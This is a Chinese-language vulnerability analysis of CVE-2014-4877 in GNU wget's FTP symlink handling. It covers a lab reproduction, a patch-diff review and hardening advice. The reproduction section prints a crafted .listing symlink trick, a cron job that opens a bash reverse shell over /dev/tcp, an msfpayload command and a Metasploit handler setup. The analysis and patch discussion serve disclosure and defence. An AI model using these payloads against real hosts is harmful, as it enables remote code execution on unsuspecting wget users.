首页 > 代码库 > CVE-2014-4877 && wget: FTP Symlink Arbitrary Filesystem Access
CVE-2014-4877 && wget: FTP Symlink Arbitrary Filesystem Access
目录
1. 漏洞基本描述2. 漏洞带来的影响3. 漏洞攻击场景重现4. 漏洞的利用场景5. 漏洞原理分析6. 漏洞修复方案7. 攻防思考
1. 漏洞基本描述
0x1: Wget简介
wget是一个从网络上自动下载文件的自由工具,支持通过HTTP、HTTPS、FTP三个最常见的TCP/IP协议下载,并可以使用HTTP代理。wget名称的由来是"World Wide Web"与"get"的结合
"递归下载"是wget提供的一个特性,我们平时使用浏览器进行网页浏览的时候,浏览器就是在进行递归下载,将我们输入的一个URL链接,已经它其中附带的CSS、IMG、HTML HREF等链接也一并下载下来并进行渲染
http://www.gnu.org/software/wget/manual/wget.html#Recursive-Download
0x2: 漏洞描述
Absolute path traversal vulnerability in GNU Wget before 1.16, when recursion is enabled, allows remote FTP servers to write to arbitrary files, and consequently execute arbitrary code, via a LIST response that references the same filename within two entries, one of which indicates that the filename is for a symlink.
严格上来说,这是GNU Wget的代码上和符号链接处理相关代码的的一个bug
A flaw was found in the way Wget handled symbolic links. A malicious FTPserver could allow Wget running in the mirror mode (using the ‘-m‘ commandline option) to write an arbitrary file to a location writable to by theuser running Wget, possibly leading to code execution. (CVE-2014-4877)
攻击者通过操纵ftp服务器可以在wget用户端环境创建任意的文件、目录以及链接。通过符号链接攻击,攻击者以wget的运行权限访问客户端整个文件系统,覆盖文件内容(包括二进制文件)。这个漏洞还能通过系统的cron设置或用户级别的(bash profile, SSH authorized_keys)设置触发远程代码执行
0x3: 漏洞原理
wget < 1.16,retr-symlinks 缺省设置为off/no,当客户端wget在递归下载ftp服务器上的目录时,如果存在符号链接文件,该链接文件不会被下载,而是在客户端本地创建一个指向同样位置的符号链接。同时链接指向的文件不会下载,除非该文件位于递归下载的遍历目录下
Relevant Link:
https://access.redhat.com/security/cve/CVE-2014-4877http://thehackernews.com/2014/10/cve-2014-4877-wget-ftp-symlink-attack.htmlhttps://bugzilla.redhat.com/show_bug.cgi?id=1139181https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4877https://rhn.redhat.com/errata/RHSA-2014-1764.html
2. 漏洞带来的影响
0x1: 黑客的攻击向量
1. Access Vector: Network exploitable2. Access Complexity: Medium3. Authentication: Not required to exploit4. Impact Type: 1) Allows unauthorized disclosure of information 2) Allows unauthorized modification 3) Allows disruption of service
0x2: 漏洞影响的软件/代码库版本范围
1. gnu:wget:1.132. gnu:wget:1.13.43. gnu:wget:1.13.34. gnu:wget:1.13.25. gnu:wget:1.13.16. gnu:wget:1.127. gnu:wget:1.148. gnu:wget:1.15 and previous versions
Relevant Link:
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4877
3. 漏洞攻击场景重现
0x1: vsftpd环境搭建
1. 安装vsftpdyum install vsftpd2. 配置防火墙: 将FTP所使用端口开放出去vim /etc/sysconfig/iptables在REJECT行之前添加如下代码-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPTservice iptables restart3. 下面是添加ftpuser用户,设置根目录为/home/wwwroot/ftpuser,禁止此用户登录SSH的权限,并限制其访问其它目录vim /etc/vsftpd/vsftpd.confchroot_list_enable=YES# (default follows)chroot_list_file=/etc/vsftpd/chroot_listuseradd -d /home/wwwroot/ftpuser -g ftp -s /sbin/nologin ftpuserpasswd ftpuser 111vim /etc/vsftpd/chroot_listadmintest4. 配置PASV模式vsftpd默认没有开启PASV模式,现在FTP只能通过PORT模式连接,要开启PASV默认需要通过下面的配置vim /etc/vsftpd/vsftpd.conf在末尾添加pasv_enable=YES pasv_min_port=40000 pasv_max_port=40080 pasv_promiscuous=YES5. 设置Selinuxsetsebool -P ftp_home_dir=1 setsebool -P allow_ftpd_full_access=1 6. 重新启动vsftpdservice vsftpd restart
或者直接使用vsftpd官方提供的SHELL脚本进行自动化部署
1. Installationyum -y install vsftpd db4-utils2. Configurationhttp://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users?action=AttachFile&do=get&target=vsftpd_virtual_config.sh根据提示添加用户名、密码admin111http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users?action=AttachFile&do=get&target=vsftpd_virtualuser_add.sh3. 配置指定目录的权限cd /var/ftp/virtual_userschmod 755 admin
Relevant Link:
http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_usershttps://www.centos.bz/2011/03/centos-install-vsftpd-ftp-server/http://www.cnblogs.com/xiongpq/p/3384759.html
在实验重现这个CVE漏洞之前,我们需要对这个漏洞的攻击场景做一个梳理
1. FTP服务器端要做的事情只要是构造一个符号链接(软链接)(server)2. 使用存在漏洞的wget的客户端向服务端请求以的递归模式下载这个符号链接文件(client)3. 最终受到攻击的是client
0x2: 软链接(符号链接)下载漏洞POC
服务端构造软链接
cd /var/ftp/publn -s /etc/passwd stealll
在另一台linux机器上继续实验,查看客户端wget版本,确认存在本次wget漏洞
客户端以递归模式向服务端发起对这个符号链接文件的下载请求
wget ftp://192.168.207.128/pub/steal -r
查看刚才下载的文件
cd 192.168.207.128/pub/llcat steal
可以看到,下载的软链接指向了本地的/etc/passwd,不是服务端的/etc/passwd
正常的逻辑来说,客户端下载服务端的一个指向/etc/passwd的软链接,最后下载的也应该是服务端的/etc/passwd,但是因为wget的这个bug,导致客户端并没有下载服务端软链接指向的文件,而是在本地建立了一个相同的软链接,指向了本地的相应文件。也就是说这次攻击的payload是服务端的那个软链接,从某种程序上来说,服务端通过payload,"强制"使客户端"创建"了任意文件(通过软链接的任意指向)
0x3: 利用wget漏洞进行RCE(Remote Code Execute 远程代码执行)
0x2 POC展示了wget存在的这个code bug,而如何将这个bug转化为一次攻击,我们需要更多的步骤
在服务端构造一个指向任意位置的软链接
cd /var/ftp/publn -s /etc/cron.d/ stealll
在软链接指向的目录下放置执行反连shell的定时任务cronshell
cd /etc/cron.d/cat>cronshell <<EODPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin* * * * * root bash -c ‘0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112‘; rm -f /etc/cron.d/cronshellEOD
为了达到RCE的目的,需要在软链接同一个目录下,构造一个和软链接文件同名的目录项,并在该目录下放置cronshell
需要明白的是,这件事从文件磁盘的角度来看,在Linux下是做不到的,因为Linux下所有的目录、设备、文件都被抽象成了文件,因此不允许在同一个节点下有2个同名的文件,但这里我们要实现的只是"欺骗"wget client在执行"list -a"指令的时候,返回一个"一个和链接文件同名的目录项"这样一个假象
# cat .listingtotal 155lrwxrwxrwx 1 root root 33 Feb 7 2013 steal -> /etc/cron.ddrwxrwxr-x 15 root root 4096 Feb 7 2013 steal
服务端需要在指定的端口进行监听,等到客户端肉鸡的连接
nc -n -vv -l -p 4444
至此,覆盖修改客户端的目的已达到,以下是进一步在客户端触发远程代码执行,如反向shell连接
客户端执行一个很正常的ftp wget下载动作,但是却被动的向黑客所在服务器发起了reverse shell connect
wget –m ftp://192.168.207.128:21/pub
这里没有截图的原因也是因为这是一种概念演示,其中的关键一步:向客户端的"list -a"命令返回一个特定构造的数据包需要特定构造的FTP Server才能实现,接下来我们用metersploit msf来真正的模拟这种攻击
0x4: 利用wget漏洞进行RCE Based On MSF
1. 生成反连shell的payload代码msfpayload cmd/unix/reverse_bash LHOST=192.168.207.128 LPORT=4444 R0<&108-;exec 108<>/dev/tcp/192.168.207.128/4444;sh <&108 >&108 2>&1082. 写入cronshellcat > cronshell << EOD> PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin> * * * * * root bash -c ‘0<&108-;exec 108<>/dev/tcp/192.168.92.138/4444;sh <&108 >&108 2>&108‘; rm -f /etc/cron.d/cronshell> EOD3. 启动MSFmsf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD cmd/unix/reverse_bashPAYLOAD => cmd/unix/reverse_bashmsf exploit(handler) > set LHOST 192.168.207.128LHOST => 192.168.207.128msf exploit(handler) > set LPORT 4444LPORT => 4444msf exploit(handler) > run -j4. 等待客户端的wget请求wget –m ftp://192.168.207.128:21 //随后,客户端执行的反连请求 5. SHELL建立后,服务端通过网络,发送任意命令到客户端执行
客户端仅仅执行了一个下载文件wget操作,却被强制进行了RCE,导致被GETSHELL
Relevant Link:
https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-accesshttp://www.oschina.net/news/56518/wget-cve-2014-4877http://bobao.360.cn/learning/detail/66.html
4. 漏洞的利用场景
每种漏洞都有其对应的攻击场景,对于CVE-2014-4877来说,攻击场景由server、client共同组成
1. server FTP 1) 黑客可以在自己的服务器上假设ftp,然后通过APT方式引诱受害者访问指定的ftp wget download url 2) 黑客可以通过直接攻击一些流量较大的ftp下载站,替换掉原来正常提供下载的某些程序,从而让受害者在不知不觉中被GETSHELL2. client wget对于客户端的要求就是wget要存在这个CVE漏洞
5. 漏洞原理分析
下载wget-1.12源代码进行分析
http://git.savannah.gnu.org/cgit/wget.git/snapshot/wget-1.16.tar.gz
通过patch diff,我们可以发现patch代码的主要patch point为
1. \wget-1.12\doc\ChangeLog
2014-09-08 Darshit Shah <darnir@gmail.com> * wget.texi (symbolic links): Update documentation of retr-symlinks to reflect the new default. Add warning about potential security issues with --retr-symlinks=yes.
2. \wget-1.12\doc\wget.texi
By default, when retrieving @sc{ftp} directories recursively and a symbolic linkis encountered, the symbolic link is traversed and the pointed-to files areretrieved. Currently, Wget does not traverse symbolic links to directories todownload them recursively, though this feature may be added in the future.When @samp{--retr-symlinks=no} is specified, the linked-to file is notdownloaded. Instead, a matching symbolic link is created on the localfilesystem. The pointed-to file will not be retrieved unless this recursiveretrieval would have encountered it separately and downloaded it anyway. Thisoption poses a security risk where a malicious FTP Server may cause Wget towrite to files outside of the intended directories through a specially crafted@sc{.listing} file.
3. \wget-1.12\src\ChangeLog
2014-09-08 Darshit Shah <darnir@gmail.com> * init.c (defaults): Set retr-symlinks to true by default. This changes a default setting of wget. Fixes security bug CVE-2014-4877
4. \wget-1.12\src\init.c
/* 2014-09-07 Darshit Shah <darnir@gmail.com> * opt.retr_symlinks is set to true by default. Creating symbolic links on the * local filesystem pose a security threat by malicious FTP Servers that * server a specially crafted .listing file akin to this: * * lrwxrwxrwx 1 root root 33 Dec 25 2012 JoCxl6d8rFU -> / * drwxrwxr-x 15 1024 106 4096 Aug 28 02:02 JoCxl6d8rFU * * A .listing file in this fashion makes Wget susceptiple to a symlink attack * wherein the attacker is able to create arbitrary files, directories and * symbolic links on the target system and even set permissions. * * Hence, by default Wget attempts to retrieve the pointed-to files and does * not create the symbolic links locally. */ opt.retr_symlinks = true;
5. \wget-1.12\src\ChangeLog
2014-09-08 Darshit Shah <darnir@gmail.com> * ftp.c (ftp_retrieve_glob): Also check for invalid entries along with harmful filenames (is_valid_entry): New function. Check if the provided node is a valid entry in a listing file.
6. \wget-1.12\src\ftp.c
增加一个is_invalid_entry()函数
/* Test if the file node is invalid. This can occur due to malformed or * maliciously crafted listing files being returned by the server. * * Currently, this function only tests if there are multiple entries in the * listing file by the same name. However this function can be expanded as more * such illegal listing formats are discovered. */static boolis_invalid_entry (struct fileinfo *f){ struct fileinfo *cur; cur = f; char *f_name = f->name; /* If the node we‘re currently checking has a duplicate later, we eliminate * the current node and leave the next one intact. */ while (cur->next) { cur = cur->next; if (strcmp(f_name, cur->name) == 0) return true; } return false;}
在对ftp server返回的.listing进行处理的时候,使用is_invalid_entry()进行检查
/* A near-top-level function to retrieve the files in a directory. The function calls ftp_get_listing, to get a linked list of files. Then it weeds out the file names that do not match the pattern. ftp_retrieve_list is called with this updated list as an argument. If the argument ACTION is GLOB_GETONE, just download the file (but first get the listing, so that the time-stamp is heeded); if it‘s GLOB_GLOBALL, use globbing; if it‘s GLOB_GETALL, download the whole directory. */static uerr_tftp_retrieve_glob (struct url *u, ccon *con, int action){ struct fileinfo *f, *start; uerr_t res; con->cmd |= LEAVE_PENDING; res = ftp_get_listing (u, con, &start); if (res != RETROK) return res; /* First: weed out that do not conform the global rules given in opt.accepts and opt.rejects. */ if (opt.accepts || opt.rejects) { f = start; while (f) { if (f->type != FT_DIRECTORY && !acceptable (f->name)) { logprintf (LOG_VERBOSE, _("Rejecting %s.\n"), quote (f->name)); f = delelement (f, &start); } else f = f->next; } } /* Remove all files with possible harmful names or invalid entries. */ f = start; while (f) { /* 这里增加了is_invalid_entry()对ftp server返回的.listing进行了强制检查 */ if (has_insecure_name_p (f->name) || is_invalid_entry (f)) { logprintf (LOG_VERBOSE, _("Rejecting %s.\n"), quote (f->name)); f = delelement (f, &start); } ......
对patch代码的原理进行一个总结
1. wget的这个symbolic recursively file download是wget的一个功能的开关,是一个程序设计上的逻辑问题2. 在老的存在漏洞的wget上,默认"--retr-symlinks=no",即当wget客户端需要递归下载一个符号链接文件的时候,wget客户端并不会去真正下载这个符号链接对应的文件,而是在本地创建一个同名的、指向相同节点的符号链接3. 而patch code、修复后的新版本所做的事情,就是将"--retr-symlinks=yes"设为默认值,即当wget客户端需要递归下载一个符号链接文件的时候,wget会去下载这个符号链接所指向的真正的文件,而不是在本地创建符号链接4. 增加了is_invalid_entry()对ftp server返回的.listing进行了强制检查,防止出现重名的文件的现象
官方的git commit
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7
CVE-2014-4877: Arbitrary Symlink Access
Wget was susceptible to a symlink attack which could create arbitraryfiles, directories or symbolic links and set their permissions whenretrieving a directory recursively through FTP. This commit changes thedefault settings in Wget such that Wget no longer creates local symboliclinks, but rather traverses them and retrieves the pointed-to file insuch a retrieval.
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=69c45cba4382fcaabe3d86876bd5463dc34f442c
Add checks for valid listing file in FTP
When Wget retrieves a file through FTP, it first downloads a .listingfile and parses it for information about the files and other metadata.Some servers may serve invalid .listing files. This patch checks for onesuch known inconsistency wherein multiple lines in a listing file havethe same name. Such a filesystem is clearly not possible and hence weeliminate duplicate entries here.
Relevant Link:
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7http://git.savannah.gnu.org/cgit/wget.git/commit/?id=69c45cba4382fcaabe3d86876bd5463dc34f442chttp://git.savannah.gnu.org/cgit/wget.git/http://lists.gnu.org/archive/html/bug-wget/2014-10/msg00150.htmlhttps://bugzilla.redhat.com/show_bug.cgi?id=1139181https://bugzilla.redhat.com/attachment.cgi?id=935576
6. 漏洞修复方案
wget的这个CVE的修复是一种配置项的修改,所以我们可以使用以下2种方法达到patch的目的
0x1: 配置加固
在wget客户端进行配置加固
vim /etc/wgetrc or vim ~/.wgetrc//在最后增加一行retr-symlinks=on
在wget客户端进行程序升级
0x2: 更新程序
升级至1.16 ftp://ftp.gnu.org/gnu/wget/wget-1.16.tar.gz
7. 攻防思考
Linux上的基础软件、代码库需要进行一次代码安全检测
Copyright (c) 2014 LittleHann All rights reserved
CVE-2014-4877 && wget: FTP Symlink Arbitrary Filesystem Access